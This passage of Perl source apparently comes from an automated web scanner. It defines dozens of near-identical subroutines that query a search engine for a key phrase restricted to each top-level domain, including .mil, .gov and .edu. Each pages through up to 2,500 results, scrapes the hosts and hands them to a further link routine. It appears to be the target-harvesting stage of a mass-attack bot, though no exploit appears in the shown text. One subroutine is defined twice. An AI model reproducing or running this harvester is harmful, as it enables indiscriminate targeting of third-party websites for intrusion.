href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub dk() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Adk%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub es() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Aes%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub eu() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack14.uri_escape($key)."%2Bsite%3Aeu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub fr() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack15.uri_escape($key)."%2Bsite%3Afr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hu() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack16.uri_escape($key)."%2Bsite%3Ahu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub id() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack17.uri_escape($key)."%2Bsite%3Aid%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub il() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack18.uri_escape($key)."%2Bsite%3Ail%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub in() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack19.uri_escape($key)."%2Bsite%3Ain%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub info() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack20.uri_escape($key)."%2Bsite%3Ainfo%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub il() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack21.uri_escape($key)."%2Bsite%3Ail%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub it() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack22.uri_escape($key)."%2Bsite%3Ait%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub jp() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack23.uri_escape($key)."%2Bsite%3Ajp%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub kr() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack24.uri_escape($key)."%2Bsite%3Akr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mx() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack25.uri_escape($key)."%2Bsite%3Amx%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub my() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack26.uri_escape($key)."%2Bsite%3Amy%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub net() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack27.uri_escape($key)."%2Bsite%3Anet%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub nl() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack28.uri_escape($key)."%2Bsite%3Anl%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub org() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack29.uri_escape($key)."%2Bsite%3Aorg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ph() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack30.uri_escape($key)."%2Bsite%3Aph%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pl() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Apl%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ro() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Aro%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ru() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Aru%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub th() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Ath%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ua() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Aua%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub uk() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Auk%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub us() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Aus%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub si() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Asi%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub be() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Abe%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub biz() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Abiz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub xxx() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Axxx%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tel() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Atel%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tv() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Atv%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cc() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack14.uri_escape($key)."%2Bsite%3Acc%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mil() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack15.uri_escape($key)."%2Bsite%3Amil%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub asia() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack16.uri_escape($key)."%2Bsite%3Aasia%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub name() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack17.uri_escape($key)."%2Bsite%3Aname%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pro() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack18.uri_escape($key)."%2Bsite%3Apro%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub travel() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack19.uri_escape($key)."%2Bsite%3Atravel%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub jobs() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack20.uri_escape($key)."%2Bsite%3Ajobs%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mobi() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack21.uri_escape($key)."%2Bsite%3Amobi%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub aero() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack22.uri_escape($key)."%2Bsite%3Aaero%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cat() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack23.uri_escape($key)."%2Bsite%3Acat%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub coop() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack24.uri_escape($key)."%2Bsite%3Acoop%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub edu() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack25.uri_escape($key)."%2Bsite%3Aedu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gov() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack26.uri_escape($key)."%2Bsite%3Agov%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub as() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack27.uri_escape($key)."%2Bsite%3Aas%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ai() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack28.uri_escape($key)."%2Bsite%3Aai%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ag() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack29.uri_escape($key)."%2Bsite%3Aag%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub az() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack30.uri_escape($key)."%2Bsite%3Aaz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bh() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Abh%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bd() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Abd%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bz() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Abz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bo() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Abo%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ba() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Aba%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub vg() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Avg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bg() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Abg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bi() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Abi%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub co() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Aco%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cd() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Acd%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cg() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Acg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ck() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Ack%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cr() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack14.uri_escape($key)."%2Bsite%3Acr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hr() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack15.uri_escape($key)."%2Bsite%3Ahr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cu() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack16.uri_escape($key)."%2Bsite%3Acu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ci() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack17.uri_escape($key)."%2Bsite%3Aci%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub dj() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack18.uri_escape($key)."%2Bsite%3Adj%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub dm() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack19.uri_escape($key)."%2Bsite%3Adm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub do() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack20.uri_escape($key)."%2Bsite%3Ado%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ec() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack21.uri_escape($key)."%2Bsite%3Aec%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub eg() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack22.uri_escape($key)."%2Bsite%3Aeg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sv() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack23.uri_escape($key)."%2Bsite%3Asv%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ee() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack24.uri_escape($key)."%2Bsite%3Aee%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub et() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack25.uri_escape($key)."%2Bsite%3Aet%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub fj() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack26.uri_escape($key)."%2Bsite%3Afj%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub fi() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack27.uri_escape($key)."%2Bsite%3Afi%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gm() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack28.uri_escape($key)."%2Bsite%3Agm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gi() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack29.uri_escape($key)."%2Bsite%3Agi%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gr() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack30.uri_escape($key)."%2Bsite%3Agr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gl() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Agl%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); 